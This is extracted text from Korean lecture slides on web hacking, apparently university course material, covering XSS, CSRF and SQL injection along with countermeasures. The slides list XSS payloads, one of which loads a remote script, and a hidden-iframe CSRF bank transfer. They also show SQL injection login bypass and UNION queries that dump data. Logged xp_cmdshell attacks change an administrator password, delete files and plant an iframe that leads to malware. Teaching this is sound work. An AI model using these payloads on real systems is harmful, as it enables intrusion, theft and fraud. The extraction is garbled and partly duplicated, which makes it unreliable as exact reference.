CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 11: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 11

Web Application Hacking

Web Application Hacking Tools (실습도구)

TIP 가상머싞에 설치해보고 Web hacking 실습 문제 풀어보기 모르는 부분은 Webgoat 페이지의 Solution 참고하거나 Youtube 구글 참고

Youtube Webgoat 관렦 영상 httpwwwyoutubecomresultssearch_query=webgoatampsuggested_categories=282C262C12C22amppage=1 httpwwwgooglecokrq=webgoatamphl=koampnewwindow=1ampprmd=ivnsulampsource=lnmsamptbm=vidampei=cdrxTc2aJYnovQPfjrWpBAampsa=Xampoi=mode_linkampct=modeampcd=3ampved=0CCYQ_AUoAgampfp=6d0639d9755e7972ampbiw=1090ampbih=712

Page 12

What is an OWASP

주요 Web Application 공격 기법

OWASP Top 10 웹 취약점을 10가지 형태로 분류하고 정의하며 웹 보앆에

관심 있는 기업 및 개읶이 함께 공통된 프로젝트 수행

A1 SQL Injection

A2 Cross Site Scripting (XSS)

A3 취약한 인증과 세션 관리

A4 앆젂하지 않은 직접 객체 참조

A5 크로스 사이트 요청 변조(CSRF)

A6 보앆상 잘못된 구성(싞규)

A7 앆젂하지 않은 암호 저장

A8 URL 접근 제한 실패

A9 불충분한 젂송 계층 보호

A10 검증되지 않은 리다이렉트와 포워드(싞규)

Page 13

Web Application Hacking

주요 Web Application 공격 기법

1 SQL Injection

2 XSS

3 파읷 업로드

4 파읷 다운로드

5 디렉토리 노출

6 읶증이 없는 관리자 페이지

7 쿠키변조 및 재사용

8 파라미터 변조를 통한 시스템 명령어 사용

9 자바스크립트 우회

10 HTTP 메소드

11 불필요한 파읷 노출

12 에러 노출

13 검색엔진

Page 14

Web Application Hacking

주요 Web Application 공격 기법

구분 점검 항목 설 명

1 SQL Injection 로그인 폼 및 변수 값에 SQL 쿼리를 삽입하여 로그인 우회 및 DB를 변조 하는 공격

2 XSS 게시판 및 URL파라미터에 스크립트를 삽입하여 해당 글 혹은 링크를 클릭하는 사용자의 정보를 취득하는 공격

3 파일 업로드 ASP PHP JSP와 같이 파일을 업로드 하여 시스템 권한을 획득하는 공격

4 파일 다운로드 파일 다운로드 처리 파라미터를 조작하여 시스템 파일에 접근하는 공격

5 디렉터리 인덱싱 특정 디렉터리를 요청할 때 파일 목록이 보여지는 공격

6 관리자 페이지 노출 masterjsp adminphp 등의 관리자 페이지 노출 및관리자 페이지에 대한 추가 취약점으로 인한 권한 획득 공격

7 쿠키 변조 쿠키 내 권한 관련 값 변조 및 도용하는 공격

8 URL 파라미터 변조 파라미터 변조를 통해 정상적인 젃차(관리자 글 작성 제한 등)를 우회하는 공격

9 사용자 측 스크립트 변조 자바스크립트 및 히듞필드 변조를 통해 인증 권한을 도용하는 행위

10 에러 페이지 노출 시스템 에러를 통해 시스템 정보를 획득하는 공격

11 중요 정보 노출 페이지 및 파일 내에 중요 정보(주민등록번호 등)가 포함되는 경우

12 백업 파일 노출 백업 파일 노출로 인해 시스템 로직을 파악하는 공격 13 기본 설치 페이지 노출 웹 서버 기본 페이지 등의 노출

14 HTTP Method 정보 노출 PUT DELETE 메소드를 악용하여 파일 생성 및 삭제 등의 공격

Page 15

Web Application Hacking

Cookie vs Session

bull Cookie 사용자 정보를 유지하기 위해 웹 브라우저에 의해 사용자의 PC에 저장되는 정보 (파일 혹은 메모리) 서버에서 클라이언트로 젂송되는 것 ltname valuegt 사용자가 인터넷 웹 사이트를 방문할 때 생기는 4KB 이하의 파일 웹 사이트의 방문 기록을 사용자 컴퓨터에 남겨 사용자와 웹 사이트 사이를 연결해주는 정보를 담고 있음

bull Session

Session 은 Cookie와 동일하게 HTTP 서버에서 클라이언트를 알아볼 수 있는 방법 Session은 사용자를 식별 할 수 있는 최소한의 Cookie값을 브라우저에 보냄 브라우저에서 서버에 갂단하게 SessionID 값을 던지고 HTTP 서버는 그 값을 이용해 서버에 값이 저장

Response (Cookie 저장)

Request (Cookie 젂달)

Cookie Session

정의 사용자마다 관리해야 하는 데이터를 각 사용자의 웹 browser가 있는 Client 컴퓨터에 기록하는 것

웹 서버와 특정 사용자의 연결이 끊어 지더라도 그 사용자에 대해서 계속 관리해야 하는 데이터를 웹 서버에 기록해 둔 것

저장 방식

Client 측 메모리 혹은 파일로 저장 Session ID만 Cookie 형태로 Client에 저장 되고 실제 정보는 서버 메모리 DB 형태로 저장 (IIS 웹 서버와 여러 웹 어플리케이션 서버에서 많이 사용)

Page 16

Cross Site Scripting (XSS)

Cross Site Scripting(XSS) 개념

XSS는 타 사용자 정보 추출을 위한 공격 기법임 게시판이나 검색 부분 즉 사용자의 입력을 받아들이는 부분에 스크립트 코드를 필터링하지 않음으로써 발생되는 취약점임 (한마디로 말하면) 공격자가 스크립트 코드를 실행할 수 있게 되는 취약점

Cross Site Scriting 종류

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

저장된 크로스 사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

DOM 기반 크로스 사이트 스크립팅 (DOM based Cross Site Scripting)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

크로스 사이트 스크립팅 요청 위조 (Cross Site Scripting Request Forgery)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

Page 17

Cross Site Scripting (XSS)

Cross Site Scripting 이해

길라임은 현빈의 여자친구읶데 요즘 들어 길라임의 행동을 수상히 여긴 현빈은 길라임이 오스카랑 좀 이상한 관계읶 거 같다고 생각이 들어 길라임 몰래 길라임의 메읷을 훔쳐보고 싶어했다(당연히 불법이다) 현빈은 현빈의 젃친한 친구읶 지섭굮에게 XSS 공격을 이용하면 길라임의 메읷을 인을 수 있다는 솔깃한 얘기를 듣고 친구읶 지섭굮에게 XSS 공격 방법을 익히게 된다

드디어 XSS 공격 방법을 습득한 현빈은 길라임에게 메읷을 보낸다 메읷에는 평범한 내용과 함께 악성 스크립트 코드를 숨겨서 보낸다 길라임은 아무런 의심을 하지 않고 현빈한테 온 메읷을 인는다 하지만 그 순갂 숨겨서 보낸 악성 스크립트 코드는 길라임의 쿠키 정보를 현빈에게 넘긴다 현빈은 길라임으로부터 받은 쿠키 값을 가지고 갂단한 조작을 통해서 길라임의 메읷을 인을 수 있었다

Page 18

Cross Site Scripting (XSS)

Cross Site Scripting 공격 기본 원리

1 악성코드 첨부 메일 발송

2 길라임이 메일을 읽음

3 길라임의 쿠키가 젂달

5 길라임의 쿠키 이용 메일을 훔쳐봄

Page 19

Cross Site Scripting (XSS)

Cross Site Scripting sample

공격 코드의 유형

Source httpwwwsecurityfocuscomarchive12720372002-05-092002-05-150

lta href=javasamp99riptamp35[code]gt ltdiv onmouseover=[code]gt ltimg src=javascript[code]gt [IE] ltimg dynsrc=javascript[code]gt [IE] ltinput type=image dynsrc=javascript[code]gt [IE] ltbgsound src=javascript[code]gt ampltscriptgt[code]ltscriptgt [N4] amp[code] [N4] ltimg src=amp[code]gt ltlink rel=stylesheet href=javascript[code]gt [IE] ltiframe src=vbscript[code]gt [N4] ltimg src=mocha[code]gt [N4]ltimg src=livescript[code]gt lta href=aboutltsamp99riptgt[code]ltscriptgtgt ltmeta http-equiv=refresh content=0url=javascript[code]gt ltbody onload=[code]gt ltdiv style=background-image url(javascript[code])gt

[IE] ltdiv style=behaviour url([link to code])gt [Mozilla] ltdiv style=binding url([link to code])gt [IE] ltdiv style=width expression([code])gt [N4] ltstyle type=textjavascriptgt[code]ltstylegt [IE] ltobject classid=clsid codebase=javascript[code]gt ltstylegtlt--ltstylegtltscriptgt[code]--gtltscriptgt lt[CDATA[lt--]]gtltscriptgt[code]--gtltscriptgt lt-- -- --gtltscriptgt[code]ltscriptgtlt-- -- --gt ltltscriptgt[code]ltscriptgt ltimg src=blahonmouseover=[code]gt ltimg src=blahgt onmouseover=[code]gt ltxml src=javascript[code]gt ltxml d=Xgtltagtltbgtampltscriptgt[code]ampltscriptgt ltbgtltagt ltxmlgt ltdiv datafld=b dataformatas=html datasrc=Xgtltdivgt [UTF-8 IE Opera] [xC0][xBC]scriptgt[code][xC0][xBC]scriptgt

Page 20

Cross Site Scripting (XSS)

Cross Site Scripting sample

실제 공격 코드

참조 httphackersorgxsshtml

ltscriptgtalert(XSS)ltscriptgt

ltSCRIPT SRC=httphackersorgxssjsgtltSCRIPTgt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=JaVaScRiPtalert(XSS)gt

ltIMG SRC=javascriptalert(ampquotXSSampquot)gt

ltIMG SRC=`javascriptalert(RSnake says XSS)`gt

ltIMG gtltSCRIPTgtalert(XSS)ltSCRIPTgtgt

ltIMG SRC=javascriptalert(StringfromCharCode(888383))gt

ltIMG SRC=amp106amp97amp118amp97amp115amp99amp114amp105amp112amp116amp58amp97amp108amp101amp114amp116amp40amp39amp88amp83amp83amp39amp41gt

ltIMG SRC=javampx09ascriptalert(XSS)gt

ltIMG SRC=javampx0Aascriptalert(XSS)gt

Page 21

Cross Site Scripting (Reflected Cross Site Scripting)

Reflected Cross Site Scriting 설명

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

httpmyservercomwelcomejspname=ltscriptgtalert(Attacked)ltscriptgt

Page 22

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting

저장된 크로스사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

Page 23

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 시나리오

Post Forum Message Subject GET Money for FREE Body ltscriptgt attack code ltscriptgt

1 공격자가 악성코드를 보냄

2 서버는 해당 메시지를 저장함

Did you know this

3 사용자는 메시지를 요청함

4 메시지는 서버에 의해 젂달됨

5 브라우저는 메시지 내의 코드를 실행함

GET Money for FREE

ltscriptgt attack code ltscriptgt

Get forumjspfid=122ampmid=2241

Attacker

Client

Web Server

GET Money for FREE ltscriptgt attack code ltscriptgt

attack code

This is only one example out of many attack scenarios

Re Error message on startup I found a solution Can anybody help Error message on startup

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

